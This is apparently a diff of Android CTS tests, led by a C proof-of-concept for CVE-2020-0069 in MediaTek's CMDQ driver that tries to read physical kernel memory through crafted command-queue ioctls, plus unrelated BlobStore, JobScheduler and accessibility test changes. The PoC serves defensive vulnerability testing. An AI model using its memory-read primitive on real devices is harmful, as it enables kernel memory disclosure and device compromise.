+#include <sys/ioctl.h>
+#include <sys/stat.h>
+#include <sys/types.h>
+#include <unistd.h>
+
+#include "../includes/common.h"
+
+static char *device_names[] = {"/dev/mtk_cmdq", "/proc/mtk_cmdq",
+                               "/dev/mtk_mdp"};
+
+#define CMDQ_IOCTL_ALLOC_WRITE_ADDRESS 0x40087807
+#define CMDQ_IOCTL_FREE_WRITE_ADDRESS 0x40087808
+// This is "most" of the IOCTL code, though the size field is left out as it
+// will be ORed in later when the specific value for this device has been
+// identified.
+#define CMDQ_IOCTL_EXEC_COMMAND 0x40007803
+
+struct cmdqWriteAddressStruct {
+  uint32_t count;
+  uint32_t address;
+};
+
+struct cmdqReadRegStruct {
+  uint32_t count;
+  uint64_t addresses;
+};
+
+struct cmdqRegValueStruct {
+  uint32_t count;
+  uint64_t values;
+};
+
+struct cmdqReadAddressStruct {
+  uint32_t count;
+  uint64_t addresses;
+  uint64_t values;
+};
+
+struct cmdqCommandStruct {
+  uint32_t value1;
+  uint32_t value2;
+  uint64_t value3;
+  uint64_t buffer;
+  uint32_t buffer_size;
+  struct cmdqReadRegStruct reg_request;
+  struct cmdqRegValueStruct reg_value;
+  struct cmdqReadAddressStruct read_address;
+  uint8_t padding[0x2f0 - 0x58];
+};
+
+typedef enum {
+  OperationSuccess,
+  OperationFailed,
+  OperationError,
+} OperationResult;
+
+#define SET_VALUE(x)                                                           \
+  instructions[command.buffer_size / 8] = (x);                                 \
+  command.buffer_size += 8;
+
+// This function identifies what the IOCTL command code should be
+// for EXEC_COMMAND, given that it varies depending on the structure size.
+OperationResult work_out_ioctl_code(int fd, int *ioctl_code) {
+  uint64_t instructions[0x100];
+  struct cmdqCommandStruct command;
+
+  memset(instructions, 0, sizeof(instructions));
+  memset(&command, 0, sizeof(command));
+
+  command.buffer = (uint64_t)&instructions;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  for (int ii = 0xa8; ii <= 0x2f0; ii += 8) {
+    int ioctl_result =
+        ioctl(fd, CMDQ_IOCTL_EXEC_COMMAND | (ii << 16), &command);
+
+    if ((-1 != ioctl_result) || (errno != ENOTTY)) {
+      *ioctl_code = CMDQ_IOCTL_EXEC_COMMAND | (ii << 16);
+      return OperationSuccess;
+    }
+  }
+
+  // Unable to identify the particular IOCTL code for this device.
+  return OperationError;
+}
+
+OperationResult perform_pa_read(int fd, int ioctl_code, uint32_t kernel_buffer,
+                                uint64_t address, unsigned char *buffer,
+                                size_t size) {
+  OperationResult result = OperationError;
+  uint64_t *instructions = NULL;
+  uint32_t *addresses = NULL;
+  struct cmdqCommandStruct command;
+  size_t num_words = size / 4;
+
+  if (size % 4) {
+    goto exit;
+  }
+
+  // Each command is 8 bytes, we require 5 commands for every 32 bits we try to
+  // read, plus another 4 for prologue/epilogue.
+  instructions = malloc((num_words * 5 + 4) * sizeof(uint64_t));
+  if (!instructions) {
+    goto exit;
+  }
+  // Another buffer to tell the driver where to read back from.
+  addresses = malloc(sizeof(uint32_t) * num_words);
+  if (!addresses) {
+    goto exit;
+  }
+  memset(&command, 0, sizeof(command));
+  command.buffer = (uint64_t)instructions;
+  command.read_address.count = size;
+  command.read_address.addresses = (uint64_t)addresses;
+  command.read_address.values = (uint64_t)buffer;
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+
+  for (size_t ii = 0; ii < num_words; ii++) {
+    addresses[ii] = kernel_buffer + (sizeof(uint32_t) * ii);
+
+    // CMDQ_CODE_MOVE - put DMA address into register
+    SET_VALUE(0x0297000000000000 | addresses[ii]);
+    // CMDQ_CODE_WRITE - write PA into DMA address
+    SET_VALUE(0x0497000000000000 | (address + sizeof(uint32_t) * ii));
+    // CMDQ_CODE_READ - read PA into register from DMA address
+    SET_VALUE(0x01d7000000000005);
+    // CMDQ_CODE_READ - read from PA into register
+    SET_VALUE(0x01c5000000000005);
+    // CMDQ_CODE_WRITE - write value into DMA address
+    SET_VALUE(0x04d7000000000005);
+  }
+
+  // CMDQ_CODE_WFE
+  SET_VALUE(0x2000000080010000);
+  // CMDQ_CODE_EOC
+  SET_VALUE(0x4000000000000001);
+  // CMDQ_CODE_JUMP - argA is 0 and argB is 8, this is ok.
+  SET_VALUE(0x1000000000000008);
+
+  switch (ioctl(fd, ioctl_code, &command)) {
+  case -1:
+    if (errno == EFAULT) {
+      // Command buffer rejected, the driver is patched.
+      result = OperationFailed;
+    }
+    // Something is wrong with the command buffer.  This may be a device
+    // type that has not been encountered during testing.
+    break;
+  case 0:
+    // Driver accepted the command buffer and did something with it.
+    result = OperationSuccess;
+    break;
+  }
+
+exit:
+  if (addresses) {
+    free(addresses);
+  }
+  if (instructions) {
+    free(instructions);
+  }
+  return result;
+}
+
+int main() {
+  int exit_code = EXIT_FAILURE;
+  int fd = -1;
+  unsigned char buffer[0x1000];
+  size_t read_size = 0x100;
+  struct cmdqWriteAddressStruct kernel_buffer = {read_size, 0};
+  int ioctl_code = 0;
+  bool command_accepted = false;
+  // Mediatek have given these as possible kernel base addresses for different
+  // devices.
+  unsigned long kernel_bases[] = {0x40008000, 0x40080000, 0x80008000};
+  unsigned long pa_length = 0x10000;
+
+  for (size_t ii = 0; ii < sizeof(device_names) / sizeof(device_names[0]);
+       ii++) {
+    fd = open(device_names[ii], O_RDONLY);
+    if (-1 == fd) {
+      // If we can't access the driver, then it's not vulnerable.
+      if (errno == EACCES) {
+        exit_code = EXIT_SUCCESS;
+        goto exit;
+      }
+    } else {
+      break;
+    }
+  }
+  if (-1 == fd) {
+    goto exit;
+  }
+
+  if (-1 == ioctl(fd, CMDQ_IOCTL_ALLOC_WRITE_ADDRESS, &kernel_buffer)) {
+    goto exit;
+  }
+
+  if (OperationSuccess != work_out_ioctl_code(fd, &ioctl_code)) {
+    goto exit;
+  }
+
+  for (size_t ii = 0; ii < sizeof(kernel_bases) / sizeof(kernel_bases[0]);
+       ii++) {
+    for (unsigned long pa = kernel_bases[ii]; pa < kernel_bases[ii] + pa_length;
+         pa += 0x1000) {
+      memset(buffer, 0, read_size);
+
+      switch (perform_pa_read(fd, ioctl_code, kernel_buffer.address, pa, buffer,
+                              read_size)) {
+      case OperationSuccess:
+        command_accepted = true;
+        for (size_t ii = 0; ii < read_size; ii++) {
+          if (buffer[ii] != 0) {
+            exit_code = EXIT_VULNERABLE;
+            goto exit;
+          }
+        }
+        break;
+      case OperationFailed:
+        exit_code = EXIT_SUCCESS;
+        break;
+      case OperationError:
+        break;
+      }
+    }
+  }
+
+  // If the driver accepted commands, but we didn't manage to read any data,
+  // then we failed to demonstrate a vulnerability.
+  if (command_accepted) {
+    exit_code = EXIT_SUCCESS;
+  }
+
+exit:
+  if (-1 != fd) {
+    if (kernel_buffer.address != 0) {
+      (void)ioctl(fd, CMDQ_IOCTL_FREE_WRITE_ADDRESS, &kernel_buffer);
+    }
+    (void)close(fd);
+  }
+
+  return exit_code;
+}
diff --git a/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
new file mode 100644
index 0000000..ea944ab
--- /dev/null
+++ b/hostsidetests/securitybulletin/src/android/security/cts/Poc20_03.java
@@ -0,0 +1,43 @@
+/**
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.security.cts;
+
+import android.platform.test.annotations.SecurityTest;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import static org.junit.Assert.*;
+
+@RunWith(DeviceJUnit4ClassRunner.class)
+public class Poc20_03 extends SecurityTestCase {
+
+    /**
+     * b/147882143
+     * b/152874234
+     */
+    @Test
+    @SecurityTest(minPatchLevel = "2020-03")
+    public void testPocCVE_2020_0069() throws Exception {
+        if(containsDriver(getDevice(), "/dev/mtk_cmdq") ||
+           containsDriver(getDevice(), "/proc/mtk_cmdq") ||
+           containsDriver(getDevice(), "/dev/mtk_mdp")) {
+            AdbUtils.runPocAssertExitStatusNotVulnerable("CVE-2020-0069",
+                                                         getDevice(), 300);
+        }
+    }
+}
diff --git a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
index ad1fae9..3599107 100644
--- a/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
+++ b/tests/BlobStore/src/com/android/cts/blob/BlobStoreManagerTest.java
@@ -99,8 +99,12 @@
             "delete_on_last_lease_delay_ms";
     private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR =
             "total_bytes_per_app_limit_floor";
-    public static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
+    private static final String KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION =
             "total_bytes_per_app_limit_fraction";
+    private static final String KEY_MAX_ACTIVE_SESSIONS = "max_active_sessions";
+    private static final String KEY_MAX_COMMITTED_BLOBS = "max_committed_blobs";
+    private static final String KEY_MAX_LEASED_BLOBS = "max_leased_blobs";
+    private static final String KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES = "max_permitted_pks";
 
     private static final String HELPER_PKG = "com.android.cts.blob.helper";
     private static final String HELPER_PKG2 = "com.android.cts.blob.helper2";
@@ -127,9 +131,9 @@
 
     @After
     public void tearDown() throws Exception {
-        for (BlobHandle blobHandle : mBlobStoreManager.getLeasedBlobs()) {
-            mBlobStoreManager.releaseLease(blobHandle);
-        }
+        runShellCmd("cmd blob_store clear-all-sessions");
+        runShellCmd("cmd blob_store clear-all-blobs");
+        mContext.getFilesDir().delete();
     }
 
     @Test
@@ -935,11 +939,30 @@
     }
 
     @Test
-    public void testAcquireRelease_deleteAfterDelay() throws Exception {
+    public void testAcquireLease_leaseExpired() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        try {
+            commitBlob(blobData);
+
+            acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+            assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+            waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+            assertNoLeasedBlobs(mBlobStoreManager);
+        } finally {
+            blobData.delete();
+        }
+    }
+
+    @Test
+    public void testAcquireRelease_deleteAfterDelay() throws Exception {
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(1);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
             try {
                 commitBlob(blobData);
 
@@ -1160,6 +1183,64 @@
     }
 
     @Test
+    public void testStorageAttribution_withExpiredLease() throws Exception {
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+        blobData.prepare();
+
+        final StorageStatsManager storageStatsManager = mContext.getSystemService(
+                StorageStatsManager.class);
+        StorageStats beforeStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats beforeStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        commitBlob(blobData);
+
+        StorageStats afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        StorageStats afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // No leases on the blob, so it should not be attributed.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(5);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + leaseExpiryDurationMs);
+
+        final long startTimeMs = System.currentTimeMillis();
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(blobData.getFileSize());
+
+        waitForLeaseExpiration(
+                Math.abs(leaseExpiryDurationMs - (System.currentTimeMillis() - startTimeMs)),
+                blobData.getBlobHandle());
+
+        afterStatsForPkg = storageStatsManager
+                .queryStatsForPackage(UUID_DEFAULT, mContext.getPackageName(), mContext.getUser());
+        afterStatsForUid = storageStatsManager
+                .queryStatsForUid(UUID_DEFAULT, Process.myUid());
+
+        // Lease is expired, so it should not be attributed anymore.
+        assertThat(afterStatsForPkg.getDataBytes() - beforeStatsForPkg.getDataBytes())
+                .isEqualTo(0L);
+        assertThat(afterStatsForUid.getDataBytes() - beforeStatsForUid.getDataBytes())
+                .isEqualTo(0L);
+
+        blobData.delete();
+    }
+
+    @Test
     public void testLeaseQuotaExceeded() throws Exception {
         final long totalBytes = Environment.getDataDirectory().getTotalSpace();
         final long limitBytes = 100 * Utils.MB_IN_BYTES;
@@ -1215,6 +1296,36 @@
     }
 
     @Test
+    public void testLeaseQuotaExceeded_withExpiredLease() throws Exception {
+        final long totalBytes = Environment.getDataDirectory().getTotalSpace();
+        final long limitBytes = 50 * Utils.MB_IN_BYTES;
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(40 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext)
+                    .setFileSize(30 * Utils.MB_IN_BYTES)
+                    .build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            acquireLease(mContext, blobData1.getBlobHandle(), R.string.test_desc,
+                    System.currentTimeMillis() + waitDurationMs);
+
+            assertThrows(LimitExceededException.class, () -> mBlobStoreManager.acquireLease(
+                    blobData2.getBlobHandle(), R.string.test_desc));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+            acquireLease(mContext, blobData2.getBlobHandle(), R.string.test_desc);
+        }, Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FLOOR, String.valueOf(limitBytes)),
+                Pair.create(KEY_TOTAL_BYTES_PER_APP_LIMIT_FRACTION,
+                        String.valueOf((double) limitBytes / totalBytes)));
+    }
+
+    @Test
     public void testRemainingLeaseQuota() throws Exception {
         final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
         final long blobSize = 100 * Utils.MB_IN_BYTES;
@@ -1239,6 +1350,31 @@
     }
 
     @Test
+    public void testRemainingLeaseQuota_withExpiredLease() throws Exception {
+        final long initialRemainingQuota = mBlobStoreManager.getRemainingLeaseQuotaBytes();
+        final long blobSize = 100 * Utils.MB_IN_BYTES;
+        final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
+                .setFileSize(blobSize)
+                .build();
+        blobData.prepare();
+
+        final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+        commitBlob(blobData);
+        acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                System.currentTimeMillis() + waitDurationMs);
+        assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota - blobSize);
+
+        waitForLeaseExpiration(waitDurationMs, blobData.getBlobHandle());
+        assertNoLeasedBlobs(mBlobStoreManager);
+
+        assertThat(mBlobStoreManager.getRemainingLeaseQuotaBytes())
+                .isEqualTo(initialRemainingQuota);
+    }
+
+    @Test
     public void testAccessExpiredBlob() throws Exception {
         final long expiryDurationMs = TimeUnit.SECONDS.toMillis(6);
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext)
@@ -1290,6 +1426,40 @@
     }
 
     @Test
+    public void testAccessBlob_withExpiredLease() throws Exception {
+        final long leaseExpiryDurationMs = TimeUnit.SECONDS.toMillis(2);
+        final long leaseAcquisitionWaitDurationMs = TimeUnit.SECONDS.toMillis(1);
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+            try {
+                final long blobId = commitBlob(blobData);
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("1");
+
+                acquireLease(mContext, blobData.getBlobHandle(), R.string.test_desc,
+                        System.currentTimeMillis() + leaseExpiryDurationMs);
+                assertLeasedBlobs(mBlobStoreManager, blobData.getBlobHandle());
+
+                waitForLeaseExpiration(leaseExpiryDurationMs, blobData.getBlobHandle());
+                assertNoLeasedBlobs(mBlobStoreManager);
+
+                triggerIdleMaintenance();
+                assertThat(runShellCmd("cmd blob_store query-blob-existence -b " + blobId))
+                        .isEqualTo("0");
+
+                assertThrows(SecurityException.class, () -> mBlobStoreManager.acquireLease(
+                        blobData.getBlobHandle(), R.string.test_desc,
+                        blobData.getExpiryTimeMillis()));
+                assertNoLeasedBlobs(mBlobStoreManager);
+            } finally {
+                blobData.delete();
+            }
+        }, Pair.create(KEY_LEASE_ACQUISITION_WAIT_DURATION_MS,
+                String.valueOf(leaseAcquisitionWaitDurationMs)));
+    }
+
+    @Test
     public void testCommitBlobAfterIdleMaintenance() throws Exception {
         final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
         blobData.prepare();
@@ -1319,10 +1489,11 @@
 
     @Test
     public void testExpiredSessionsDeleted() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
@@ -1337,10 +1508,11 @@
 
     @Test
     public void testExpiredSessionsDeleted_withPartialData() throws Exception {
-        final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
-        blobData.prepare();
         final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
         runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
             final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
             assertThat(sessionId).isGreaterThan(0L);
 
@@ -1357,6 +1529,98 @@
         }, Pair.create(KEY_SESSION_EXPIRY_TIMEOUT_MS, String.valueOf(waitDurationMs)));
     }
 
+    @Test
+    public void testCreateSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            mBlobStoreManager.createSession(blobData1.getBlobHandle());
+            assertThrows(LimitExceededException.class,
+                    () -> mBlobStoreManager.createSession(blobData2.getBlobHandle()));
+        }, Pair.create(KEY_MAX_ACTIVE_SESSIONS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testCommitSession_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1, null /* accessModifier */, 0 /* expectedResult */);
+            commitBlob(blobData2, null /* accessModifier */, 1 /* expectedResult */);
+        }, Pair.create(KEY_MAX_COMMITTED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testLeaseBlob_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc");
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testExpiredLease_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData1 = new DummyBlobData.Builder(mContext).build();
+            blobData1.prepare();
+            final DummyBlobData blobData2 = new DummyBlobData.Builder(mContext).build();
+            blobData2.prepare();
+            final DummyBlobData blobData3 = new DummyBlobData.Builder(mContext).build();
+            blobData3.prepare();
+            final long waitDurationMs = TimeUnit.SECONDS.toMillis(2);
+
+            commitBlob(blobData1);
+            commitBlob(blobData2);
+            commitBlob(blobData3);
+
+            acquireLease(mContext, blobData1.getBlobHandle(), "test desc1",
+                    System.currentTimeMillis() + waitDurationMs);
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                            System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4)));
+
+            waitForLeaseExpiration(waitDurationMs, blobData1.getBlobHandle());
+
+            acquireLease(mContext, blobData2.getBlobHandle(), "test desc2",
+                    System.currentTimeMillis() + TimeUnit.HOURS.toMillis(4));
+            assertThrows(LimitExceededException.class,
+                    () -> acquireLease(mContext, blobData3.getBlobHandle(), "test desc3"));
+        }, Pair.create(KEY_MAX_LEASED_BLOBS, String.valueOf(1)));
+    }
+
+    @Test
+    public void testAllowPackageAccess_countLimitExceeded() throws Exception {
+        runWithKeyValues(() -> {
+            final DummyBlobData blobData = new DummyBlobData.Builder(mContext).build();
+            blobData.prepare();
+
+            final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
+            assertThat(sessionId).isGreaterThan(0L);
+            try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
+                blobData.writeToSession(session);
+
+                session.allowPackageAccess(HELPER_PKG2, HELPER_PKG2_CERT_SHA256);
+                assertThrows(LimitExceededException.class,
+                        () -> session.allowPackageAccess(HELPER_PKG3, HELPER_PKG3_CERT_SHA256));
+            }
+        }, Pair.create(KEY_MAX_BLOB_ACCESS_PERMITTED_PACKAGES, String.valueOf(1)));
+    }
+
     private static void runWithKeyValues(ThrowingRunnable runnable,
             Pair<String, String>... keyValues) throws Exception {
         final Map<String, String> previousValues = new ArrayMap();
@@ -1407,6 +1671,11 @@
 
     private long commitBlob(DummyBlobData blobData,
             AccessModifier accessModifier) throws Exception {
+        return commitBlob(blobData, accessModifier, 0 /* expectedResult */);
+    }
+
+    private long commitBlob(DummyBlobData blobData,
+            AccessModifier accessModifier, int expectedResult) throws Exception {
         final long sessionId = mBlobStoreManager.createSession(blobData.getBlobHandle());
         assertThat(sessionId).isGreaterThan(0L);
         try (BlobStoreManager.Session session = mBlobStoreManager.openSession(sessionId)) {
@@ -1418,7 +1687,7 @@
             final CompletableFuture<Integer> callback = new CompletableFuture<>();
             session.commit(mContext.getMainExecutor(), callback::complete);
             assertThat(callback.get(TIMEOUT_COMMIT_CALLBACK_SEC, TimeUnit.SECONDS))
-                    .isEqualTo(0);
+                    .isEqualTo(expectedResult);
         }
         return sessionId;
     }
@@ -1489,6 +1758,12 @@
                 () -> commandReceiver.openBlob(blobData.getBlobHandle()));
     }
 
+    private void waitForLeaseExpiration(long waitDurationMs, BlobHandle leasedBlob)
+            throws Exception {
+        SystemClock.sleep(waitDurationMs);
+        assertThat(mBlobStoreManager.getLeaseInfo(leasedBlob)).isNull();
+    }
+
     private TestServiceConnection bindToHelperService(String pkg) throws Exception {
         final TestServiceConnection serviceConnection = new TestServiceConnection(mContext);
         final Intent intent = new Intent()
diff --git a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
index e013454..b6d6120 100644
--- a/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
+++ b/tests/JobScheduler/src/android/jobscheduler/cts/JobThrottlingTest.java
@@ -103,6 +103,7 @@
     private boolean mInitialAirplaneModeState;
     private String mInitialJobSchedulerConstants;
     private String mInitialDisplayTimeout;
+    private String mInitialRestrictedBucketEnabled;
     private boolean mAutomotiveDevice;
 
     private TestAppInterface mTestAppInterface;
@@ -157,6 +158,8 @@
         mInitialAirplaneModeState = isAirplaneModeOn();
         mInitialJobSchedulerConstants = Settings.Global.getString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS);
+        mInitialRestrictedBucketEnabled = Settings.Global.getString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET);
         // Make sure test jobs can run regardless of bucket.
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, "min_ready_non_active_jobs_count=0");
@@ -294,6 +297,8 @@
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
         assumeFalse("not testable in automotive device", mAutomotiveDevice);
 
+        setRestrictedBucketEnabled(true);
+
         // Disable coalescing
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -318,6 +323,8 @@
         assumeTrue("app standby not enabled", mAppStandbyEnabled);
         assumeFalse("not testable in automotive device", mAutomotiveDevice);
 
+        setRestrictedBucketEnabled(true);
+
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -356,6 +363,8 @@
         assumeTrue(mHasWifi);
         ensureSavedWifiNetwork(mWifiManager);
 
+        setRestrictedBucketEnabled(true);
+
         // Disable coalescing and the parole session
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_QUOTA_CONTROLLER_CONSTANTS,
@@ -502,6 +511,8 @@
         }
         Settings.Global.putString(mContext.getContentResolver(),
                 Settings.Global.JOB_SCHEDULER_CONSTANTS, mInitialJobSchedulerConstants);
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, mInitialRestrictedBucketEnabled);
         if (isAirplaneModeOn() != mInitialAirplaneModeState) {
             setAirplaneMode(mInitialAirplaneModeState);
         }
@@ -518,6 +529,11 @@
                 restricted ? AppOpsManager.MODE_IGNORED : AppOpsManager.MODE_ALLOWED);
     }
 
+    private void setRestrictedBucketEnabled(boolean enabled) {
+        Settings.Global.putString(mContext.getContentResolver(),
+                Settings.Global.ENABLE_RESTRICTED_BUCKET, enabled ? "1" : "0");
+    }
+
     private boolean isTestAppTempWhitelisted() throws Exception {
         final String output = mUiDevice.executeShellCommand("cmd deviceidle tempwhitelist").trim();
         for (String line : output.split("\n")) {
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
index 8393012..c64eaa3 100644
--- a/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
+++ b/tests/accessibilityservice/src/android/accessibilityservice/cts/MagnificationGestureHandlerTest.java
@@ -51,6 +51,7 @@
 import android.graphics.PointF;
 import android.platform.test.annotations.AppModeFull;
 import android.provider.Settings;
+import android.view.ViewConfiguration;
 import android.widget.TextView;
 
 import androidx.test.InstrumentationRegistry;
@@ -105,7 +106,6 @@
     @Before
     public void setUp() throws Exception {
         mInstrumentation = InstrumentationRegistry.getInstrumentation();
-
         PackageManager pm = mInstrumentation.getContext().getPackageManager();
         mHasTouchscreen = pm.hasSystemFeature(PackageManager.FEATURE_TOUCHSCREEN)
                 || pm.hasSystemFeature(PackageManager.FEATURE_FAKETOUCH);
@@ -179,7 +179,11 @@
 
     @Test
     public void testPanning() {
-        if (!mHasTouchscreen) return;
+        //The minimum movement to transit to panningState.
+        final float minSwipeDistance = ViewConfiguration.get(
+                mInstrumentation.getContext()).getScaledTouchSlop();
+        final boolean screenBigEnough = mPan > minSwipeDistance;
+        if (!mHasTouchscreen || !screenBigEnough) return;
         assertFalse(isZoomed());
 
         setZoomByTripleTapping(true);
@@ -190,7 +194,8 @@
                 swipe(mTapLocation2, add(mTapLocation2, -mPan, 0)));
 
         waitOn(mZoomLock,
-                () -> (mCurrentZoomCenter.x - oldCenter.x >= mPan / mCurrentScale * 0.9));
+                () -> (mCurrentZoomCenter.x - oldCenter.x
+                        >= (mPan - minSwipeDistance) / mCurrentScale * 0.9));
 
         setZoomByTripleTapping(false);
     }
diff --git a/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java b/tests/accessibilityservice/src/android/accessibilityservice/cts/TouchExplorerTest.java
index 9224739..56d5240 100644
